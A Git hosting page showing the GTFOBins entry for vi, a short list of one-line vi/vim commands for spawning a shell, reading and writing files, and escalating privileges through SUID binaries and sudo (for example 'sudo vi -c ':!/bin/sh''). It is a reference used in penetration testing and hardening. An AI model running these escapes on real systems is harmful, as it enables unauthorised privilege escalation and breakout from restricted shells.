This website requires JavaScript.
Explore
Help
Sign In
dash
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
Code
Issues
Pull Requests
Packages
Projects
Releases
Wiki
Activity
Files
bd0cad04336b4fa265a3f20890c8ab63891f6439
GTFOBins.github.io
/
_gtfobins
/
vi.md
Hugo DELVAL
bd0cad0433
Add vi(m) commands (
#39
)
2018-12-03 13:06:41 +00:00
445 B
Raw
Blame
History
functions
functions
shell
file-write
file-read
suid
sudo
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
code
vi -c ':py import os;os.system("sh")'
code
vi file_to_write iDATA ^[ w
code
vi file_to_read
code
./vi -c ':!/bin/sh -p'
code
sudo vi -c ':!/bin/sh'
code
sudo vi -c ':py import os;os.system("sh")'
Reference in New Issue
View Git Blame
Copy Permalink